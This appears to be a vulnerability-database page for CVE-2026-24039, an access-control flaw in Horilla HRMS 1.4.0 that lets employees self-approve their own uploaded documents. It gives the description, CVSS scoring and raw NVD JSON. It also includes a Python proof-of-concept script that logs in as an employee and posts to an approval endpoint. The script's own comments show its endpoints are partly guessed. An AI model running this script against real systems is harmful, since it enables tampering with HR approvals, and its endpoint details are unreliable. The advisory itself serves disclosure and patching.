Security Vulnerability Report
中文
CVE-2026-24039 CVSS 4.3 MEDIUM

CVE-2026-24039

Published: 2026-01-22 04:16:00
Last Modified: 2026-01-29 18:47:31

Description

Horilla is a free and open source Human Resource Management System (HRMS). Version 1.4.0 has Improper Access Control, allowing low-privileged employees to self-approve documents they have uploaded. The document-approval UI is intended to be restricted to administrator or high-privilege roles only; however, an insufficient server-side authorization check on the approval endpoint lets a standard employee modify the approval status of their own uploaded document. A successful exploitation allows users with only employee-level permissions to alter application state reserved for administrators. This undermines the integrity of HR processes (for example, acceptance of credentials, certifications, or supporting materials), and may enable submission of unvetted documents. This issue is fixed in version 1.5.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:horilla:horilla:1.4.0:*:*:*:*:*:*:* - VULNERABLE
Horilla HRMS < 1.5.0
Horilla HRMS 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-24039 PoC - Horilla HRMS 1.4.0 Improper Access Control # Description: Low-privileged employee can self-approve documents they uploaded TARGET_URL = "http://target-horilla.com" USERNAME = "employee_user" PASSWORD = "employee_password" def get_auth_token(): """Authenticate and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/accounts/login/" # Get CSRF token first response = session.get(login_url) csrf_token = session.cookies.get('csrftoken') # Login with employee credentials login_data = { 'username': USERNAME, 'password': PASSWORD, 'csrfmiddlewaretoken': csrf_token } response = session.post(login_url, data=login_data) return session def upload_document(session): """Upload a document and get document ID""" upload_url = f"{TARGET_URL}/payroll/document/" # Prepare document file files = { 'document': ('test_doc.pdf', b'%PDF-1.4 fake document', 'application/pdf') } data = { 'title': 'Test Document', 'description': 'Document for approval test' } response = session.post(upload_url, files=files, data=data) # Extract document ID from response # Adjust parsing based on actual response format doc_id = response.json().get('id') if response.ok else None return doc_id def approve_document(session, doc_id): """Exploit: Self-approve uploaded document without admin privileges""" # Vulnerable endpoint - missing authorization check approve_url = f"{TARGET_URL}/payroll/document/{doc_id}/approve/" payload = { 'approval_status': 'approved', 'approved_by': 'current_user' } # This request succeeds due to missing server-side authorization response = session.post(approve_url, json=payload) if response.status_code == 200: print(f"[+] SUCCESS: Document {doc_id} approved by low-privilege user!") print(f"[+] This demonstrates improper access control vulnerability") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False def main(): print("[*] CVE-2026-24039 PoC - Horilla HRMS Improper Access Control") print("[*] Target: Document self-approval by low-privilege users\n") # Step 1: Authenticate as low-privilege employee session = get_auth_token() print("[*] Logged in as employee user") # Step 2: Upload a document doc_id = upload_document(session) if not doc_id: print("[-] Failed to upload document") return print(f"[*] Uploaded document with ID: {doc_id}") # Step 3: Exploit - Self-approve the document approve_document(session, doc_id) print("\n[*] Exploitation complete") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24039", "sourceIdentifier": "[email protected]", "published": "2026-01-22T04:16:00.033", "lastModified": "2026-01-29T18:47:30.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Horilla is a free and open source Human Resource Management System (HRMS). Version 1.4.0 has Improper Access Control, allowing low-privileged employees to self-approve documents they have uploaded. The document-approval UI is intended to be restricted to administrator or high-privilege roles only; however, an insufficient server-side authorization check on the approval endpoint lets a standard employee modify the approval status of their own uploaded document. A successful exploitation allows users with only employee-level permissions to alter application state reserved for administrators. This undermines the integrity of HR processes (for example, acceptance of credentials, certifications, or supporting materials), and may enable submission of unvetted documents. This issue is fixed in version 1.5.0."}, {"lang": "es", "value": "Horilla es un Sistema de Gestión de Recursos Humanos (HRMS) gratuito y de código abierto. La versión 1.4.0 tiene un Control de Acceso Inadecuado, permitiendo a empleados con pocos privilegios autoaprobar documentos que han subido. La interfaz de usuario (UI) de aprobación de documentos está destinada a ser restringida solo a roles de administrador o de grandes privilegios; sin embargo, una verificación de autorización insuficiente del lado del servidor en el endpoint de aprobación permite a un empleado estándar modificar el estado de aprobación de su propio documento subido. Si se explota con éxito, usuarios con permisos solo de nivel de empleado pueden alterar el estado de la aplicación reservado para administradores. Esto socava la integridad de los procesos de RRHH (por ejemplo, la aceptación de credenciales, certificaciones o materiales de apoyo), y puede permitir la presentación de documentos no verificados. Este problema está solucionado en la versión 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:horilla:horilla:1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "55143854-C369-4CAA-B671-90EFC9170F64"}]}]}], "references": [{"url": "https://github.com/horilla-opensource/horilla/releases/tag/1.5.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/horilla-opensource/horilla/security/advisories/GHSA-99mq-mhwv-w9qx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}